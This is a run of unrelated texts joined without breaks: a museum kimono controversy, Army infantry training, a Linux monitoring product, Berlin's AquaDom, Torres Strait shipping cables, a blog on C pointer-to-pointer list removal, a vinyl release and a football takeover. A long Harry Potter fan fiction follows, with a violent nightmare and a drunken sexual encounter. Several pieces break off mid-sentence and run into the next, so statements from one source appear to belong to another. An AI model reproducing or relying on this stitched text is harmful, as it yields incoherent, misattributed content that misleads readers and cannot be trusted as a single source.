It’s also worth considering why a kimono demonstration would be connected to Monet’s portrait of his wife, when the museum has any number of images of Japanese women donning the garment throughout their collection. If this were simply about an interest in the garment and its cultural context, the Japanese galleries would have made a far better site for such an experience. In the terrific Hokusai exhibition now on view, a painted hanging scroll by Katushika Oi, Hokusai’s daughter, features three women—a courtesan, a geisha and a townswoman—playing musical instruments together while wearing lavishly patterned kimonos. An image of three women from different social classes of 19th-century Japan—by an artist who is herself a Japanese woman—could provide visitors a meaningful entry into ideas around costume, embodiment and representation. The MFA’s choice to highlight a Western woman donning Japanese customs, and their encouragement of visitors to do the same, speaks to a different and far more problematic kind of embodiment.
Conversely, many other examples of Orientalism, cultural appropriation, and racist caricaturing can be found on display in the museum, and while their role as objects of beauty or entertainment have dissipated with the maturation of cultural consciousness, their value as tools to understand the lens of Western thought and bias are invaluable. La Japonaise continues its life as an uninterrogated object of beauty at the expense of an important lesson.
In August, the museum will open an exhibition on the influence of Asian art on the colonial Americas, displaying works created in the Americas as facsimiles of trade goods imported from Asia. The exhibition may provide an opportunity to see how the complex network of cultural exchange and exploitation that defined the Age of Colonization was visualized and represented in objects, and how completely its evidence permeated everyday life then, just as it does now. With any luck the complexity of that story will be handled with a bit more care as it is passed on to museum audiences.
Kimono Wednesdays are scheduled to take place every Wednesday evening through July in the Impressionist galleries during the museum’s free admission hours. Public protests are scheduled to coincide for the duration of the program.
UPDATE 7/7/2015 4:27PM: The Museum of Fine Arts Boston has reached out to us with the following statement regarding their in-gallery programming, and have posted it on their website:The distinct branches of the United States military are making efforts to shatter the age old glass ceilings that have prevented women from serving in combat roles. The Army has been spinning the successes of a recent group of recruits, but controversy is brewing as some say that standards were lowered to get the women through infantry training.
18 of the 32 female infantry recruits passed the One Station Unit Training (OSUT) program at Fort Benning, Georgia and joined the 1st Battalion, 19th Infantry Regiment last Friday. Some are headed to Texas for cavalry training, while others are headed to jump school.
The Army had been expecting some to fail. Even with 14 washing out, they were pleased. But the new rumors suggests that the standards some of those women had to meet were not the same as those met by their male colleagues.
Some made it through by the higher standard, too. One of the male recruits bragged about one of his fellow soldiers to PopularMilitary.com. “There was even one female that did better than 90 percent of the males on the PT test. Speaking as the person who had the second-highest PT score, she had me looking over my soldier the whole cycle. It was something that definitely made me better, and maybe kept me up nights a few times. But certainly by the end of the cycle, I was doing more push-ups, because I had her chasing me.”
Others felt like the double-standard wasn’t right. Some complained that the women didn’t have to carry the same weight. Most carry a 35-pound rucksack. The difference in size, though, meant some of the women couldn’t carry the same weight.
Still, this marks a turning point in the way the Army will handle women in the infantry. And the lessons learned from this first class will surely be used moving forward.
“A lot of the females, when they started, in the beginning- I would think one way, I’ll be honest with you,” said Sgt. 1st Class Karen Carter, a senior drill sergeant. “But they were incredible. Regardless of how much they weighed or size.”The contemporary data center is typified by an ever-increasing amount of traffic occurring between servers, observes Applied Expert Systems, Inc. (AES), sagely. Fulfilling the logical need to facilitate improved server-to-server communications, AES created CleverView for TCP/IP on Linux, now at v2.7. CleverView provides IT staff access to current and historical server performance and availability details from not only their browser desktops but also their mobile phones via the CLEVER Mobile for Linux app.
This version 2.7 features enhancements to DockerView, namely container details including resource utilization and process information, with the ability to drill down into specific containers, and image details, including repository and image ID with historical details.
Finally, new options to the Enhanced Dashboard include the ability to download a graph image, manipulate graph formats, display raw data and a zoom feature with one-click navigation to view Alert Details from the Alerts Summary graph.The AquaDom in Berlin, Germany, is a 25 m (82 ft) tall cylindrical acrylic glass aquarium with built-in transparent elevator. It is located inside the Radisson Blu Hotel in the DomAquarée complex at Karl-Liebknecht-Straße in Berlin-Mitte.[2] The DomAquarée complex also contains offices, a museum, a restaurant, and the aquarium Berlin Sea Life Centre.
Overview [ edit ]
The AquaDom was opened in 2004.[1] It cost about 12.8 million euros.[3] The acrylic cylinder was produced by the U.S. company International Concept Management, Inc. It is now the main attraction of the Berlin Sea Life Centre owned by Merlin Entertainments.
The outside cylinder was manufactured on-site from twelve sets of panels sent from the factory; the inside cylinder for the elevator was installed as one piece after three sections of 5 panels each were bonded together next to the hotel. The Aquadom is the largest (by volume) acrylic cylindrical aquarium in the world, with a diameter of about 11 m (36 ft) and a height of about 16 m (52 ft), resting on a 9 m (30 ft) tall foundation.[4] Filled with 1,000,000 l (260,000 US gal) of water, it contains over 1,500 fish of 50 species. The feeding of the fish and the cleaning of the fish tank is performed daily by 3-4 divers.[1] The fish need 8 kg (18 lb) of fish food.[1]
Photographs [ edit ]
The AquaDom as viewed from a room on the sixth floor of the hotel.
AquaDom in late night color.
AquaDom.
References [ edit ]
Media related to AquaDom at Wikimedia Commons
Media related to AquaDom at Wikimedia Commons CityQuartier "DomAquarée"On learning that the Torres Strait pilotage regime was quietly amended 17 months ago, Australian Conservation Foundation chief executive Don Henry said it was essential all shipping through the strait had pilotage. "This was a wrong move,'' Mr Henry said. ''The government ought to fix this." Leaked US diplomatic cables reveal the US and Singapore reacted strongly against the then Howard government's October 2006 announcement of a compulsory pilotage regime in the Torres Strait. The scheme was designed to reduce the risk of oil and chemical spills at the northern end of the Great Barrier Reef. In November 2006, Singaporean ambassador-at-large Tommy Koh told the US ambassador in Singapore that Singapore was "deeply concerned'' that Australia's actions would set a precedent ''seen to allow other coastal states … to encroach on the right of free passage as enshrined in the UN Convention on the Law of the Sea". Singapore's then foreign minister, George Yeo, wrote to Australia "to complain about the [Australian government's] decision and its negative impact on larger strategic interests".
The leaked cables show the US strongly shared Singapore's concerns. Aside from complaining to Australia, US envoys urged other nations to protest. The Howard government was unmoved by the complaints. In early 2008 the new Labor government's initial response to Singapore's protests was also uncompromising. But the start of a policy shift soon followed once the US reaffirmed its opposition. In July 2008, the head of the Department of Foreign Affairs and Trade's international law branch, assistant secretary Adam McCarthy, conceded to the US embassy in Canberra that "Australia recognises that it has not handled the Torres Strait pilotage issue particularly well" and indicated Canberra was prepared "to explore ways to address US concerns". Mr McCarthy stressed "the Rudd government understands US and Singaporean concerns … but that it believes it politically impossible to change the mandatory nature of the regime''. "If there were to be an oil spill after the Rudd Labor government 'weakened' the environmental protections imposed by the Howard government," he said, "the political cost would be immense.''
He said that ''everything is on the table … except the mandatory nature of the regime''. The US said "this is the exact point which we find unacceptable". Mr McCarthy then conceded Australia recognised "the US … will never agree to the current mandatory regime". After consultations in Washington in August 2008, DFAT sought US agreement to a compromise. This would involve leaving the "compulsory" legal pilotage framework in place while in practice reverting to a voluntary scheme for many vessels by not enforcing penalties against ships that transited the Torres Strait without a pilot but did not call at an Australian port. Mr McCarthy had previously acknowledged that most large vessels sailing through the strait were on voyages involving an Australian port, but "the problem for Australia is that many of the remaining vessels (132 in 2007) are tankers. These are exactly the vessels that Australia is most worried could be involved in an accident causing environmental damage.'' These concerns were abandoned in the interest of securing US acceptance and heading off a threatened international legal challenge by Singapore. The US approved of the compromise and the Australian Maritime Safety Authority formalised the change in policy on April 17, 2009. To avoid publicity, the authority's announcement was a single paragraph "marine notice" published at the bottom of a longer notice on a different subject. No statement was made by Transport Minister Anthony Albanese.
Privately, the director of DFAT's sea law section, Damien White, acknowledged to US envoys that the compulsory pilotage regime had been changed "out of a desire to remove a bilateral irritant'' with the US. Mr McCarthy "stressed that the deal with the United States was an end in and of itself given the nature of the relationship with the United States". About 900 to 1000 vessels longer than 70 metres sail through the strait each year. The Australian Maritime Safety Authority says it does not keep records of how many visit Australian ports. The Australian Conservation Foundation's Mr Henry said he hoped the US and Australia would ''think more carefully about putting the Great Barrier Reef at risk. ''It will only take one unpiloted ship to cause great destruction,'' he said.A few weeks ago Linus Torvalds answered some questions on slashdot. All his responses make good reading but one in particular caught my eye. Asked to describe his favourite kernel hack, Torvalds grumbles he rarely looks at code these days — unless it’s to sort out someone else’s mess. He then pauses to admit he’s proud of the kernel’s fiendishly cunning filename lookup cache before continuing to moan about incompetence.
At the opposite end of the spectrum, I actually wish more people understood the really core low-level kind of coding. Not big, complex stuff like the lockless name lookup, but simply good use of pointers-to-pointers etc. For example, I’ve seen too many people who delete a singly-linked list entry by keeping track of the prev entry, and then to delete the entry, doing something like if (prev) prev->next = entry->next; else list_head = entry->next; and whenever I see code like that, I just go “This person doesn’t understand pointers”. And it’s sadly quite common. People who understand pointers just use a “pointer to the entry pointer”, and initialize that with the address of the list_head. And then as they traverse the list, they can remove the entry without using any conditionals, by just doing a *pp = entry->next.
Well I thought I understood pointers but, sad to say, if asked to implement a list removal function I too would have kept track of the previous list node. Here’s a sketch of the code:
This person doesn’t understand pointers typedef struct node { struct node * next;.... } node; typedef bool (* remove_fn)(node const * v); // Remove all nodes from the supplied list for which the // supplied remove function returns true. // Returns the new head of the list. node * remove_if(node * head, remove_fn rm) { for (node * prev = NULL, * curr = head; curr!= NULL; ) { node * const next = curr->next; if (rm(curr)) { if (prev) prev->next = next; else head = next; free(curr); } else prev = curr; curr = next; } return head; }
The linked list is a simple but perfectly-formed structure built from nothing more than a pointer-per-node and a sentinel value, but the code to modify such lists can be subtle. No wonder linked lists feature in so many interview questions!
The subtlety in the implementation shown above is the conditional required to handle any nodes removed from the head of the list.
Now let’s look at the implementation Linus Torvalds had in mind. In this case we pass in a pointer to the list head, and the list traversal and modification is done using a pointer to the next pointers.
Two star programming void remove_if(node ** head, remove_fn rm) { for (node** curr = head; *curr; ) { node * entry = *curr; if (rm(entry)) { *curr = entry->next; free(entry); } else curr = &entry->next; } }
Much better! The key insight is that the links in a linked list are pointers and so pointers to pointers are the prime candidates for modifying such a list.
§After the success of our debut vinyl release, Uncharted Places, I’m very pleased to announce we’ll be returning with Europe, a meticulously curated compilation inspired by some of the most beautiful locations on the continent.
Spanning ambient, modern classical, drone and electronica, it’s a journey experienced through the eyes and ears of the artists, capturing their memories, travels, tributes, and exquisite musical depictions.
Beginning with a peaceful ode to her Greek home, Dalot finds harmony on Kalathas beach, Halo is enraptured by a wet city scene in Zurich, and 36 tries to make sense of London’s countless contrasts.
In more remote parts, Horizontal Excursions (aka Roger Martinez) discovers the symphony of life on the subtropical island of La Gomera,Bjorn Rohde paints a vivid picture of the Pyrénées, and Marsen Jules finds paradise in the Andalusian mountains.
From cosmopolitan utopias to breath-taking cornucopias, every track on Europe is immersed in discovery. Effortlessly traversing geography and emotions, it’s a collection that revels in borderless ambition but also celebrates the intricacies that makes every passage unique.
Closer to sea-level, Dextro finds inspiration in the Isle of Barra’s oceanic panorama, Parks channels the coastal howl of Helsingborg, andCarbon Based Lifeforms uncovers delicate harmonies in the Spring-time forests of East Gothenburg.
Finally, Yagya brings Europe to its beautiful conclusion. Alone on Reykjavik’s north shore, the iconic producer forgets himself, and the city behind him, as the infinite ocean horizon commands his lost gaze.
Personal and poignant, the album artwork also reflects the craft of the music with a specially commissioned, mixed-print and hand-painted piece by Nick Brzostowski created exclusively for the release.
Europe is available on limited edition double-transparent blue vinyl (300 copies with digital download) from January 26th 2015.
There is also a special limited edition wooden vinyl case – just five pieces – made for this release. More details available here.
BUY THE VINYL: *SOLD OUT*
BUY THE DIGITAL: ASIP BandcampAMIR Khan will stage fights at the Macron Stadium should the Sports Shield consortium complete their takeover at Wanderers – but that could just be the tip of the iceberg, The Bolton News understands.
The Bolton welterweight, a two-time world champion, is NOT thought to be one of the investors in the group looking to take control of the club from owner Eddie Davies.
But sources have confirmed the 28-year-old has agreed to back their bid, with plans to bring a big-money fight to his home town in the near future.
And Khan’s could be the first of a number of “X Factor” names which the consortium hope can reignite interest in the club, and more importantly, raise cash to uphold running costs of around £10million a year.
Talks continued this morning - with former striker Dean Holdsworth meeting the club's new financial advisor Trevor Birch at the Macron Stadium to finalise details on his bid.
Birch's appointment on Tuesday night is known to have been welcomed by the group and, all being well, it is hoped the takeover could be completed by the end of next week.
It is also understood that the money used to fund Sports Shield's bid will come exclusively from the business itself |
own sad smile. "But I don't see that I really have a choice. I have to get out of here. Everything here reminds me of everyone that died, your parents, Ron, George... Gin. Hermione insists that she's coming. If I don't get out of here, I'll end up going killing someone."
"Like anyone would notice one more." Fred lightly punched Harry in the shoulder, and then his expression once again became serious. "I see George and Bill every time I turn around." He admitted.
"And you deal with it by burying yourself in your work. If it weren't for Verity and Fleur, you wouldn't eat and your robes would be falling off you as they decayed." Harry picked up a bright blue Pygmy puff off the display counter and idly stroked the creature, causing it to thrum happily. "If I had a job, that's probably what I would do, but no one wants to hire Harry Potter, they all want the Chosen One, or the Man Who Won." The Pygmy puff's sounds of happiness suddenly reminded Harry of Arnold when he was perched on… He put the animated bit of fluff back into its display case.
"Harry…" Fred shook his head, and then pulled the younger man into a hug. "If you need anything, just call. I'll be there as fast as I can. There aren't that many of us Weasleys left, we need to look after each other."
Harry couldn't think of a single thing to say, so he just returned the hug from the redhead. Behind him the tinkling of a bell signaled that the door of the shop had opened.
"Good, you are still here," a melodious voice filled the air like music. Since that horrible day, the music had become a very sad song. "I was afraid that I would miss saying goodbye."
"Fleur, talk to him. I'm heading into the back; I've got work to do." Fred said, relieved that the French witch had shown up before Harry had left.
"We are having dinner tonight Fredrick, you and I" The woman said to the redhead's disappearing back. "I expect to find you washed and clean shaven."
"Hello Fleur."
"Hello 'arri." The platinum blond said.
"Why is it the only time you have your accent anymore is when you say my name?"
"Because it makes you smile 'arri. You know this." She struck a pose. "How do you like my 'Widows Weeds'?"
Harry snorted. "As usual, on you anything looks good." He eyed her for a moment. "Are you alright?"
"I miss my Bill every minute of every day. It is worse at night. If I'd known how short a time we were going to have together…"
"How is little Victoire?"
Fleur gently caressed her bulging belly. "She misses her father, other than that; she is fine and growing everyday. You will be back to meet her when she makes her debut?"
"I'll be back well before then Fleur, I'm only leaving for a month, maybe two. Long enough so that everyone can focus on something other than me." He gestured toward the woman's stomach. "May I?"
Fleur offered her most dazzling smile. "Of course." She was always amused by Harry's constant need to touch the visible evidence of her pregnancy. It was as if the young man whose life was so marked by pain and death found the idea of the creation of new life to be almost holy. She placed her hands on top of his and guided him to the places where she could feel her little beater getting in a few practice swings. When a look of wondrous delight appeared on his face, it was all she could do not to interrupt the moment by pulling him into a bone crushing hug.
-===oooOOOooo===-
Robert Granger looked up from his carefully tended roses when he first heard the unmistakable sound of Harry's 1968 BSA Lightning, the thrum of the dual-carb 650cc vertical twins stirred something primal in the man's chest. Robert fought against the smile that threatened to cross his lips. The front gardens of the neighborhood was filled with other weekend gardeners tending to their own lawns and flowerbeds. Almost to a man, the male neighbors were looking at the big bike with sighs of deep longing and envy for the young man who was dismounting and removing his helmet. On the other hand the women of the neighborhood tended to look at the bike with undisguised loathing, though more than a few eyed the boy the way hungry dogs eye a bone. The best part was the way the boy was completely unaware of how he affected the women around him.
Robert rose from his flowerbed and approached the young man while wiping his hands on a small towel. "So, this is it then. You're leaving?"
"Yes sir." Harry couldn't meet his eyes. "Has Mrs. Granger talked Hermione out of coming?" he asked hopefully.
"You should know better than anyone that once Hermione gets an idea into her head, no one ever talks her out of it," the dentist smiled wryly. "Though, admittedly her mother is still trying. You know…" Robert turned his attention back to the Lightning. "If you're going to run off with my only daughter, you should leave me this bike. It's only fair."
Harry smiled for the first time since arriving. "In order for that to be a fair trade, I'd have to throw in a set of leathers and helmets for both you and Mrs. Granger."
"Cathrine would have my guts for garters." Robert said wistfully. "This trip you're taking, you've got money?"
"I do." Harry admitted.
"I don't want my daughter staying in any filthy hostels," the Dentist said. "Here." He pressed a large roll of bank notes into Harry's hand. "That's a thousand pounds in twenties. If you need more, call me. This," he said adding a credit card to the roll in Harry's hands, "is for emergencies."
"Mr. Granger, I've got money." Harry said in an embarrassed tone.
"Just take it. Humor me." Robert guided the young man toward his house. "Have you settled on an itinerary?"
"We're taking the Chunnel to Coquelles. From there, we're heading to Pamplona for the Running of the Bulls. I've always wanted to see that."
"Do you actually believe Hermione will let you risk yourself like that?" His best friend's father asked.
"Good lord no. I want to SEE it, preferably looking down from one of those first floor restaurants with a nice meal in front of me and a wine glass in my hand. There is no way I would run in the street with a bunch of bulls. I've done more than enough stupid things to last a lifetime. I'm going purely as a spectator. Anyway after a couple of days in Pamplona, I thought that we'd wing it. When it was just me, I was going to head to a beach and hibernate for a while; I've never really seen the ocean. With Hermione along, I'm guessing we'll end up doing educational things." Harry smiled. "Museums, Art Galleries and such."
Robert Granger smiled. "Welcome to my world. Her mother has been educating me for most of twenty five years." The humor drained from the man. "I know the two of you have been through a lot, that you've seen things that no one your age should ever have seen, and that you've both done things that give you nightmares." He hesitated for a moment. "If I'd known, really known what you were doing, I'd have grabbed Hermione and gotten my family out of this country so fast your head would have spun."
"I know. Hermione threatened to do horrible things to me if I told you."
"I thought as much. The psychologist that Professor McGonagall found for Hermione tells me that she is suffering from Post Traumatic Shock Syndrome and a massive case of survivor's guilt. She also recommends that Hermione not go on this trip with you. She says that going with you will only make Hermione worse."
"I don't know anything about psychology Mr. Granger." The raven haired man said. "I also don't know much about families. I do know that I'm alive because I've done what Hermione told me to do. I know that the war was won by a lot of us following plans that Hermione helped to develop, casting magic that she and a very few others researched, rediscovered or created. I know that Hermione watched the man she loved die, and I know she's in pain."
"Harry…" the dentist said.
"I also know that there is only one man Hermione loves more than she loved Ron, and that man is you sir. Tell me to leave without her and I'll get back on the bike and be gone before she can get outside. I don't want to be responsible for making Hermione ill or unhappy."
"That's not what I'm saying Harry. I'm not forbidding Hermione from doing anything. She's old enough to make her own decisions. What I'm asking is that you watch out for her. She's my only child. She's been through hell with you, and as much as I hate to admit it, I trust you with her. Take care of my little girl Harry."
-===oooOOOooo===-
"Harry!" Hermione called from a now open first floor window. "I'm still not ready, you can wait inside. Daddy, you can quit trying to talk him out of our trip."
Hermione Granger pulled her head back into the room and closed the window. "He's trying to either intimidate Harry into leaving without me, or trying to get him to change his plans so that we end up at a Butlin's holiday camp."
"Your Dad's worried about you." Cathrine said quietly. "And so am I. This whole trip is just so unlike you Hermione."
"I'm sure I don't know what you mean."
"Hermione you haven't packed a single book. Not one. You haven't left this house without something to read since you were three years old."
"We're going on vacation Mum. A vacation. That means we are looking to relax."
"I've spoken with Harry, Love. He tells me he's leaving to get away from the pressure that everyone is heaping on him. That he's frightened by what he might do if he doesn't get away." Cathrine reached out and stroked her daughter's hair. "Are you running away too, or are you just following him?"
"Mother."
"Are you sleeping with him? Doing that would not be the best idea given how you just lost…"
"Mother! No. Just… no."
"I got you these just in case." Cathrine Granger pressed the small paper bag into her daughter's hands.
Hermione opened the package, her eyes grew wide. "Mother!" she gasped as a blush spread over her face.
"Just in case. It never hurts to be prepared." The older woman said with her own blush. "Be careful Hermione, alright?"
-===oooOOOooo===-
Hermione stormed down the stairs and entered the sitting room where she found Harry and her father.
"Good bye Daddy. Let's go Harry. We're leaving."
Harry and Robert exchanged a look.
"Now Harry." The young woman said from the door way.
'Hermione, we've got plenty of time; the train doesn't even board for another five hours." Harry said. "You can take your time saying good bye."
"I've said goodbye Harry. We're leaving. Now."
-===oooOOOooo===-
"Remember, they drive on the right over here." Hermione said tightening her grip around Harry waist.
"I know that Hermione." Harry paused as he shifted gears and accelerated to merge onto the French A16 Motorway heading for Boulogne. "Good job on charming the helmets, I can hear you perfectly. So, are you talking to me again?"
"I'm not mad at you Harry."
"Hermione, you've said maybe twelve words to me since we left your house. You wouldn't even look at me the whole time on the train."
She opened her mouth to disagree, and then closed it. "I was embarrassed. Mum sprung a surprise on me at the last minute and it's taken this long for me to be able to speak to you without screaming."
"What could she possibly have done that would embarrass you that much? I mean you still managed to yell at me that time I accidentally walked in on you and Ron…"
"Yelling at you is easy Harry, apologizing for what my parent's think we're doing isn't."
There was a short pause until Harry asked. "And what do they think we're doing?"
"My dear mother believes we are sleeping together."
"Oh." Harry paused for another long moment. "Well, that's awkward."
"Oh, I'm not done yet. She hands me a bag from the chemists I buy my hair products from. In the bag is a box of condoms. Thirty six condoms. I can never go back to that shop."
That seemed like an overreaction to Harry, but he decided that actually saying that might not be the best idea. "Thirty six? Is that a lot?"
"It's about thirty six more than we're going to need Harry," Hermione responded in an icy tone.
"Oh, yeah of course." Harry acknowledged knowing that he should just shut up on the topic, but he just couldn't. "Did you keep them?"
"Well I wasn't going to leave them in my room… Why do you care if I kept them?"
"Could I have one? I've heard about them, but never seen one."
It was Hermione's turn to pause. "Are you joking with me?"
"Hermione, the only girls I've ever had much contact with have been you, Ginny and our other classmates. The only girls I've been alone with in a private setting are you, Ginny and Cho. You know what a disaster my time with Cho was, and nothing ever happened with Ginny beyond a few snogging sessions. I don't even know if wizards use condoms." Harry maneuvered the Lightning to pass a lorry. "Vernon never gave me the 'the talk', thank god, and what passed for sex education at my primary school covered what happens when the sperm meets the egg and was noticeably lacking in the basic mechanics of the act. My sole source of information in that vein has been Dean's rather vast collection of pornography, which I don't think is very realistic."
"If the horrible stuff I confiscated from him in the common room sixth year was representative, no, it's not." Hermione shifted in her seat trying to find a more comfortable position. "How long of a ride am I in for today?"
"Doing the speed limit, about ten hours."
"I don't know if I can ride this thing for ten hours Harry." She said
"Yeah, I didn't think so." He checked his mirrors and looked around. "That's why I've been waiting for a long empty bit of road."
"What?"
"Hang on." Harry did something with his left hand on the handlebars, and the motorcycle and riders disillusioned, and then lifted off the ground.
"Harry!" The bushy haired woman shrieked and tightened her grip on Harry. "Put this thing back on the ground."
"Sorry Hermione, this is a non stop flight." Harry laughed.
-===oooOOOooo===-
"Welcome to the Hotel Casa Azcona, how may I help you?" the middle-aged woman behind the check in desk asked, correctly guessing the pair in front of her were English.
"Two rooms reserved for Potter." Harry said quietly. He hated announcing his name in public for fear of the reactions it would garner, but here in the greater world... who would know him?
"Oh yes Mr. Potter." She reached into the file next to her station and removed the paper work associated with taking a room. "If you and your companion would sign for your keys?"
"Thank you." She said taking the papers back. "As a personal aside Mr. Potter, I would like to thank you and Ms. Granger for your efforts last year." Seeing their alarmed expressions she smiled. "You didn't know that this is a mixed hotel? I'm sorry for surprising you. This used to be my family's manor house. If you need anything from either side of the magical divide, please feel free to call the front desk, either via the in room phones or the floo, which ever you are most comfortable with."
"Uh, thank you." Harry said recovering from his surprise. "Could you suggest a place we could go for dinner?"
The woman smiled. "If not for Ms. Granger, I would be inviting you home with me to meet my daughter. That being said, I would be remiss not to recommend our dinning room. My Sister is the chef and is very good."
-===oooOOOooo===-
Hermione Granger drained her glass, then refilled her glass from the bottle on the table while marveling at what a… boy Harry was. He had roused her from her room at 6:00 am so that they might'see' the running of the bulls. The actual event was interesting for almost fifteen minutes, but she found Harry's company and enthusiasm more than made up for the boredom of the spectacle in the streets below. Who would have thought that Harry Potter of all people would turn out to be a fan of Hemingway?
They had spent the morning watching the repeated waves of fools running in front of what appeared to Hermione to be severely upset bulls, though frankly after what she had seen during the war, the rampaging cattle weren't all that threatening really. Still, Hermione surprised herself when she found that she was inordinately proud that Harry hadn't shown the slightest interest in joining in on the mad scramble to avoid the angry bulls.
At eleven o clock, Harry had gotten her to follow him back to the hotel where they got on his motorcycle and made their way to the Castle of Javier. This example of medieval Muggle fortification was something of a disappointment after seeing the magnificence that Hogwarts exemplified, but Hermione forced herself to see the castle as she might have prior to her first year, and had to admit that she would have found the structure impressive, with an air of history and heritage. According to the tour guide, it was the birthplace of the patron saint of Navarre, San Francisco Javier and each year thousands of pilgrims visited. Today however the crowd was thin, perhaps the spectacle of the first day of the festival of San Fermín was distracting the tourists.
Following that tour Harry had accompanied her to the Museo de Navarra with almost no complaint. His only comment was 'what ever you want to do Hermione.' The snarky sod even bought her several embarrassing T-shirts from the Museum's gift shop.
"I had a wonderful time today Harry." She said before taking another bite of the mussel dish that the waiter had recommended.
"We deserve a bit of time off." Harry said. "Any preferences for where we head next? I only got our rooms for two nights; we'll need to be moving on."
Hermione took a long pull on her wine, draining the glass yet again, she then reached for the bottle for another refill. "What had you planned to do before I invited myself along?"
"I was going to head to a beach and girl watch for a month or so."
"So, my coming along is cramping your style?" She asked with a grin.
"My style? Since when do I have a style? You know I'm almost as smooth as a mile of gravel road. At the end of the month I would have probably been sunburned and I still wouldn't know what a condom looks like. You still owe me one by the way." He said before taking a sip from his own glass of wine.
"Oh yes. Will you want me to help you try it on?" she cooed in a throaty voice.
Harry choked on his wine. "Damn it Hermione." He gasped, trying to catch his breath while wiping his mouth with a napkin. "Don't do that to me."
The young woman grinned. "To answer your question, if you feel up to it, I've always wanted to do a bicycle tour of Provence. Explore the villages, tour the wineries, and just experience the area."
Harry hesitated. "Well, you'd have to teach me to ride a bicycle, but I'm game."
Hermione lost her grin, horrified at how she had put her foot in it for the second time in two days. "Oh, Harry, I'm sorry, I keep doing that to you…"
"Hermione," Harry reached across the table to take her hand. "You didn't do anything to me." He shrugged. "I just never learned to ride a bicycle. Provence it is."
"Thank you Harry." She said softly. "How long a drive is it? On the ground I mean."
That brought Harry's grin to the forefront. "Well," he said, pulling a map from his back pocket, "Let's see… Looks to be about 800 kilometers to Avignon… Call it eight hours or so… At the speed limit… About half that in the air."
"On the road is fine Harry. You almost made me wet myself when you suddenly took off."
"Oh, well, we don't want that." Harry said, still grinning. "Especially when I consider where you'll be sitting." He dodged the slap she aimed at his arm and drained his glass. "You ready to head up to the rooms?"
"Yes." Hermione confirmed as she rose from her seat. She waited a moment while Harry signed the ticket for the meal, assigning the cost to his room, and then laid a handful of galleons on the tabletop as a tip.
The pair made their way to their rooms in comfortable silence. Their rooms were across the hallway from each other, and each paused at the doors.
"Good night Harry." She stood on her tiptoes to lightly kiss him on the cheek.
"Good night Hermione."
-===oooOOOooo===-
"Alright Hermione?" Ron asked from her side.
Hermione expanded her shield charm to cover her insane boyfriend. "Ron, keep your head down!"
"Relax Hermione," the tall redhead said with a smile, "They can cast anything they want, and they can't hurt me."
"Oh," she said using the shield to deflect a pair of nasty looking curses back to their casters. "Are you Merlin suddenly? Or perhaps Dumbledore?"
"No Hermione, I'm not Merlin or Dumbledore," He paused for a moment as they both spotted someone moving behind him. "I don't need to be. I'm dead."
The blue curse hit Ron in the back, causing his torso to twist and rupture, spraying his liquefied organs all over the defensive position, and all over Hermione.
Ron fell onto Hermione, knocking her to the ground. "See?" he asked. "No worries." The light faded from his eyes and he moved no more.
Hermione sat up in the hotel bed, soaked in sweat, screaming. It took several seconds before she regained control, her body fighting for breath in the face of the unreasoning terror of the nightmare.
She was thankful that the Hotel's promise of 'permanent silencing charms' turned out to be accurate.
-===oooOOOooo===-
"I think," Harry said quietly with an amused grin, "that you're only supposed to be sampling the wines Hermione, hence the name 'Sampling Room'."
"Pfft!" a very buzzed Hermione Granger responded eloquently. "It's not my fault they keep giving me more." Memories of the nightmares seemed to fade a bit with a little wine, or at very least they didn't seem to bother her as much.
"Oh yes, that little confundus on the waiter was obviously accidental." Harry grinned. Hanging out with the bad girl side of Hermione after only seeing the good girl for so long was turning out to be a lot of fun.
"It's not like I make a habit of it," she huffed. "This is just really good wine is all." With that she drained her glass and the server refilled it without a word, or indeed even realizing that he had done so.
Harry maintained his grin and Hermione realized how much she liked it when he smiled.
"Maybe I'll send your folks a couple of bottles, so you'll have some when you get home."
Suddenly Hermione made a decision. She took Harry's hand and pulled him along with her. "Come on Harry,"
"What's going on?" He asked as he allowed himself to be directed.
"In here," The door to the maintenance closet opened with a silent unlocking charm. Hermione pulled Harry in to the small room and closed the door behind him.
"Hermione?" Harry asked, now a little concerned as he looked about the closet that was only dimly lit by the light that came in from under the door.
At five foot seven Harry only had an inch and a half height on his best friend, so Hermione didn't even have to stretch when she pushed him against the door and wrapped her arms around his neck and covered his mouth with her own.
Harry was shocked when he felt her tongue enter his mouth. He had only done that once before with Ginny and he was boggled by the fact that Hermione tasted so very different than the other girl had.
He knew that this shouldn't be happening, but couldn't stop himself as he wrapped his arms around the girl and tried to kiss her back. This wasn't right, and Harry knew it. He fisted a hand full of her hair was oddly thrilled when she responded by reaching up to the back of his head and holding him in place in much the same way.
After several moments the pair broke the kiss when breathing became an issue. Still leaning against the door Harry buried his face in Hermione's bushy mop, while Hermione leaned her forehead against Harry's shoulder for a moment before moving to lightly bite him on the neck. She ground her pelvis into his.
"Ooh, a big boy," she cooed in Harry's ear before nipping at his neck a second time. "We'll have to do something about that.
Harry knew that what he was doing was wrong, that he was quite possibly taking advantage of his friend while she was addled by the wine she had been drinking, but the sensation of her rubbing herself against his erection through both of their jeans pushed those protests completely from his mind. He pulled her face back to his own and as their tongues swirled around each other again, he moved his left hand to her breasts, a move she seemed to greatly appreciate.
And the door opened. Harry fell backwards, pulling Hermione along with him. He bang his head on the door knob on the way down and was only seeing stars when he ended up flat on his back with Hermione on top, still grinding against him.
-===oooOOOooo===-
"Ow!"
"Oh, stop complaining," Hermione laughed as she dismounted the front position of the tandem bicycle the pair had rented for the month. A tandem seemed to be the easiest way to teach Harry to ride.
"Ow!" Harry repeated, walking with his legs as far apart as possible. "That seat is evil. What kind of sick individual would invent such a thing? My boxers have gotten to know me more intimately than any human being is ever likely to."
"Oh honestly Harry, after all you've done in your life, you can't deal with a bicycle seat?"
Harry held the door to the café open for her to enter. "I don't think Tom ever rode a bike either," he theorized. "If he had called himself 'Lord Bicycle Seat' instead of Voldemort, he would have been even more feared by all the right thinking people of the world."
"Poor Harry," she laughed taking her seat at the first open table, "His life is nothing but trials and tribulations."
"Ain't it the truth?" Harry agreed, gingerly easing himself down onto the other chair at the table with a sigh.
Harry had quickly learned to depend on Hermione and her knowledge of the French language when they were in a restaurant. This saved much pointing and pantomime with waiters who never seemed to understand what he wanted, despite Harry's suspicion that they probably spoke English better than he did.
"Well, what has been your favourite part of the trip Harry?" Hermione asked after she had ordered… something for the pair of them.
"Tonight, when we turn in that damned bike."
"Very funny. Now answer the question." She huffed.
"Well, spending a month with my best friend with no distractions and no one trying to kill us has been pretty nice... well other than that one tour guide," Harry grinned. "If I had to pick a single place as my favorite, I'd probably the vineyards. I don't think I've ever seen so much purple in one place… though that aqueduct was pretty cool too."
"I liked the wineries." Hermione admitted.
